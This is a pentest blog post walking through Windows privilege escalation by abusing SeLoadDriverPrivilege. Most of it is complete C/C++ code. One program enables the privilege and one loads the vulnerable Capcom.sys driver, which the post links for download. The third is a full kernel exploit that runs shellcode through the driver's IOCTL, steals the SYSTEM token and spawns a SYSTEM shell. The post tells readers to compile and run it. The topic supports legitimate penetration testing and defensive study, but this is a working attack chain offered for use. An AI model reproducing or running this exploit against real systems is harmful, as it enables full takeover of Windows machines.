Hi Guy,
I want to share my experience during my pentest exercise, either in the lab or in the real environment. I write this article by learning from various sources and package it into one place
This time I would like to share a window privilege that we can use to escalate ourselves to NT Autority\System privilege. SeLoadDriverPrivilege is a windows privilege that allows an account to load system driver
Two accounts would be assigned that privilege by default is Administrator and Print Operators. If you are an ordinary user privilege which does not have that role yet, there would be some techniques to enable you to have that privilege which could be used as the post-exploitation
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
int main()
{
TOKEN_PRIVILEGES tp;
LUID luid;
bool bEnablePrivilege(true);
HANDLE hToken(NULL);
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
L"SeLoadDriverPrivilege", // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %un", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege) {
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("AdjustTokenPrivileges error: %x", GetLastError());
return FALSE;
}
system("cmd");
return 0;
}
with the code above, You can enable the privileged token in your session.

To weaponise the privilege you are having now, we can also modify a bit of our code above to load the backdoored driver. The vulnerable driver that we are going to use is Capcom.sys
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>
#include <stdlib.h>
#include <locale.h>
#include <iostream>
#include "stdafx.h"
NTSTATUS(NTAPI *NtLoadDriver)(IN PUNICODE_STRING DriverServiceName);
VOID(NTAPI *RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
NTSTATUS(NTAPI *NtUnloadDriver)(IN PUNICODE_STRING DriverServiceName);
int main()
{
TOKEN_PRIVILEGES tp;
LUID luid;
bool bEnablePrivilege(true);
HANDLE hToken(NULL);
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
L"SeLoadDriverPrivilege", // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %un", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege) {
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("AdjustTokenPrivileges error: %x", GetLastError());
return FALSE;
}
//system("HERE IS THE DRIVER LOADING FUNCTION");
std::cout << "[+] Set Registry Keys" << std::endl;
NTSTATUS st1;
UNICODE_STRING pPath;
UNICODE_STRING pPathReg;
PCWSTR pPathSource = L"C:\\rioasmara\\privileges\\Capcom.sys";
PCWSTR pPathSourceReg = L"\\registry\\machine\\System\\CurrentControlSet\\Services\\SomeService";
const char NTDLL[] = { 0x6e, 0x74, 0x64, 0x6c, 0x6c, 0x2e, 0x64, 0x6c, 0x6c, 0x00 };
HMODULE hObsolete = GetModuleHandleA(NTDLL);
*(FARPROC *)&RtlInitUnicodeString = GetProcAddress(hObsolete, "RtlInitUnicodeString");
*(FARPROC *)&NtLoadDriver = GetProcAddress(hObsolete, "NtLoadDriver");
*(FARPROC *)&NtUnloadDriver = GetProcAddress(hObsolete, "NtUnloadDriver");
RtlInitUnicodeString(&pPath, pPathSource);
RtlInitUnicodeString(&pPathReg, pPathSourceReg);
st1 = NtLoadDriver(&pPathReg);
std::cout << "[+] value of st1: " << st1 << "\n";
if (st1 == ERROR_SUCCESS) {
std::cout << "[+] Driver Loaded as Kernel..\n";
std::cout << "[+] Press [ENTER] to unload driver\n";
}
getchar();
st1 = NtUnloadDriver(&pPathReg);
if (st1 == ERROR_SUCCESS) {
std::cout << "[+] Driver unloaded from Kernel..\n";
std::cout << "[+] Press [ENTER] to exit\n";
getchar();
}
return 0;
}
You can download the Capcom.sys from the URL below
https://mega.nz/file/GiBTmCRD#cRz3XWMEojDvrd0LHPE3GpXKkYdikITvco8qKwmdgzQ
Once the capcom.sys is loaded with the C code above

Then basically we can start the exploitation. You can run the C code below to gain the NT Authority
// Copyright (c) 2016 - 2020, Satoshi Tanda. All rights reserved.
// Use of this source code is governed by a MIT-style license that can be
// found in the LICENSE file.
#include "stdafx.h"
#pragma comment(lib, "ntdll.lib")
typedef void *PEPROCESS;
using PSGETCURRENTPROCESSID = HANDLE(NTAPI*)();
using PSLOOKUPPROCESSBYPROCESSID = NTSTATUS(NTAPI *)(_In_ HANDLE ProcessId,
_Out_ PEPROCESS * Process);
using OBDEREFERENCEOBJECT = VOID(NTAPI *)(_In_ PVOID Object);
using PSREFERENCEPRIMARYTOKEN = PACCESS_TOKEN(NTAPI *)(
_Inout_ PEPROCESS Process);
using PSDEREFERENCEPRIMARYTOKEN = VOID(NTAPI *)(
_In_ PACCESS_TOKEN PrimaryToken);
using MMGETSYSTEMROUTINEADDRESS = PVOID(NTAPI *)(
_In_ PUNICODE_STRING SystemRoutineName);
// Represents shellcode to be executed
#include <pshpack1.h>
typedef struct _SHELLCODE
{
BYTE Nop[1];
BYTE Sti[1];
BYTE Jmp[6];
void *PayloadAddress;
} SHELLCODE, *PSHELLCODE;
#include <poppack.h>
// Represents a layout of in-buffer for the vulnerable IOCTL
typedef struct _IOCTL_IN_BUFFER
{
void *ShellcodeAddress;
SHELLCODE Shellcode;
} IOCTL_IN_BUFFER, *PIOCTL_IN_BUFFER;
static bool ExploitCapcomDriver();
static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress);
static void *GetSystemRoutineAddress(
MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress,
const wchar_t *RoutineName);
static PACCESS_TOKEN GetProceesTokenAddress(ULONG_PTR Address);
static bool LaunchShell();
// Indicates whether token stealing is done successfully
static BOOLEAN gIsTokenStealingSuccessful = FALSE;
int main()
{
ExploitCapcomDriver();
return 0;
}
// Makes std::unique_ptr withe a custom deleter
template <class Resource, class Deleter> static
std::unique_ptr<Resource, Deleter> make_unique_ex(Resource *p,
Deleter d = Deleter())
{
return std::unique_ptr<Resource, Deleter>(p, std::forward<Deleter>(d));
}
// Exploits the vulnerable feature in capcom.sys and launches the SYSTEM cmd.exe
static bool ExploitCapcomDriver()
{
std::cout << std::hex;
std::cout << "[*] Capcom.sys exploit" << std::endl;
// Open the device created by Capcom.sys
auto DeviceHandle = make_unique_ex(
CreateFile(TEXT("\\\\.\\Htsysm72FB"), GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, nullptr),
::CloseHandle);
if (DeviceHandle.get() == INVALID_HANDLE_VALUE)
{
std::cout << "[-] CreateFile failed" << std::endl;
return false;
}
std::cout << "[*] Capcom.sys handle was obtained as " << DeviceHandle.get()
<< std::endl;
//
// Allocate an executable memory containing shellcode. The data structure
// should have an address of code to execute. In this exploit, the trampoline
// code leads to KernelPayload is also given as the function to execute.
//
auto InBufferContents = reinterpret_cast<PIOCTL_IN_BUFFER>(VirtualAlloc(
nullptr, sizeof(IOCTL_IN_BUFFER), MEM_COMMIT, PAGE_EXECUTE_READWRITE));
if (!InBufferContents)
{
std::cout << "[-] VirtualAlloc failed" << std::endl;
return false;
}
InBufferContents->ShellcodeAddress = &InBufferContents->Shellcode;
//
// This code is executed first by the feature on PASSIVE_LEVEL, interruption
// disabled state. This shellcode first enables interruptions so that
// Windows can page-in the KernelPayload even if it is paged-out, and
// KernelPayload can call kernel API. Then this code transfers execution to
// KernelPayload.
//
//
InBufferContents->Shellcode = {
{ 0x90, }, // nop ; for debugging
{ 0xfb, }, // sti
{ 0xff, 0x25, 0x00, 0x00, 0x00, 0x00, }, // jmp qword ptr [nextline]
// nextline:
&KernelPayload, // dq KernelPayload
};
std::cout << "[*] Shellcode was placed at " << &InBufferContents->Shellcode
<< std::endl;
// +8 because, capcom.sys uses an address of IOCTL buffer - 8
auto InBuffer = reinterpret_cast<ULONG_PTR>(InBufferContents) + 8;
static_assert(sizeof(InBuffer) == 8, "an in buffer size must be 8");
uint32_t OutBuffer = 0;
static_assert(sizeof(OutBuffer) == 4, "an out buffer size must be 4");
// Issue IOCTL for the vulnerable feature
static const DWORD VulnerableIoctlCode = 0xaa013044;
DWORD BytesReturned = 0;
auto Ok = DeviceIoControl(DeviceHandle.get(), VulnerableIoctlCode, &InBuffer,
sizeof(InBuffer), &OutBuffer, sizeof(OutBuffer),
&BytesReturned, nullptr);
VirtualFree(InBufferContents, 0, MEM_RELEASE); // no longer necessary
if (!Ok)
{
std::cout << "[-] DeviceIoControl failed" << std::endl;
return false;
}
std::cout << "[+] Shellcode was executed" << std::endl;
// Is this process running in the SYSTEM privileges
if (!gIsTokenStealingSuccessful)
{
std::cout << "[-] Token stealing failed" << std::endl;
return false;
}
std::cout << "[+] Token stealing was successful" << std::endl;
// Launch command prompt
if (!LaunchShell())
{
std::cout << "[-] CreateProcess() failed" << std::endl;
return false;
}
std::cout << "[+] The SYSTEM shell was launched" << std::endl;
std::cout << "[*] Press any key to exit this program" << std::endl;
(void)getchar();
return true;
}
//
// Performs token stealing and elevates the current process to SYSTEM
//
static void KernelPayload(MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress)
{
auto PsLookupProcessByProcessId =
reinterpret_cast<PSLOOKUPPROCESSBYPROCESSID>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"PsLookupProcessByProcessId"));
auto ObDereferenceObject =
reinterpret_cast<OBDEREFERENCEOBJECT>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"ObDereferenceObject"));
auto PsReferencePrimaryToken =
reinterpret_cast<PSREFERENCEPRIMARYTOKEN>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"PsReferencePrimaryToken"));
auto PsDereferencePrimaryToken =
reinterpret_cast<PSDEREFERENCEPRIMARYTOKEN>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"PsDereferencePrimaryToken"));
auto PsGetCurrentProcessId =
reinterpret_cast<PSGETCURRENTPROCESSID>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"PsGetCurrentProcessId"));
// Get the process object of the kernel
auto SystemProcess =
*reinterpret_cast<PEPROCESS*>(GetSystemRoutineAddress(
MmGetSystemRoutineAddress, L"PsInitialSystemProcess"));
// Get the process object of the current process
PEPROCESS CurrentProcess = nullptr;
NTSTATUS Status = PsLookupProcessByProcessId(PsGetCurrentProcessId(),
&CurrentProcess);
if (!NT_SUCCESS(Status))
{
return;
}
auto CurrentToken = PsReferencePrimaryToken(CurrentProcess);
auto SystemToken = PsReferencePrimaryToken(SystemProcess);
// Search the token field from EPROCESS up to a 0xb0 pointers size
for (auto Offset = 0ul; Offset < sizeof(void *) * 0xb0;
Offset += sizeof(void *))
{
// Is this address stores token?
const auto TestAddress =
reinterpret_cast<ULONG_PTR>(CurrentProcess) + Offset;
const auto ProbableToken = GetProceesTokenAddress(TestAddress);
if (ProbableToken == CurrentToken)
{
// Found the field, replace the contents with the SYSTEM token
auto TokenAddress = reinterpret_cast<PACCESS_TOKEN *>(TestAddress);
*TokenAddress = SystemToken;
gIsTokenStealingSuccessful = TRUE;
break;
}
}
PsDereferencePrimaryToken(CurrentToken);
PsDereferencePrimaryToken(SystemToken);
ObDereferenceObject(CurrentProcess);
}
// Returns an address of exports in NT or HAL
static void *GetSystemRoutineAddress(
MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress,
const wchar_t *RoutineName)
{
UNICODE_STRING RoutineNameU = {};
RtlInitUnicodeString(&RoutineNameU, RoutineName);
return MmGetSystemRoutineAddress(&RoutineNameU);
}
// Returns an address of a token assuming that Address points to the Token field
static PACCESS_TOKEN GetProceesTokenAddress(ULONG_PTR Address)
{
//
// To get an address of a token from the Token field in EPROCESS, the lowest
// N bits where N is size of a RefCnt field needs to be masked.
//
// kd> dt nt!_EX_FAST_REF
// + 0x000 Object : Ptr64 Void
// + 0x000 RefCnt : Pos 0, 4 Bits
// + 0x000 Value : Uint8B
//
const auto Value = *reinterpret_cast<ULONG_PTR *>(Address);
return reinterpret_cast<PACCESS_TOKEN>(Value &
(static_cast<ULONG_PTR>(~0xf)));
}
// Launches a command shell process
static bool LaunchShell()
{
TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
&ProcessInfo))
{
return false;
}
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
return true;
}
You can compile and run the code above to escalate yourself to NT AUTHORITY
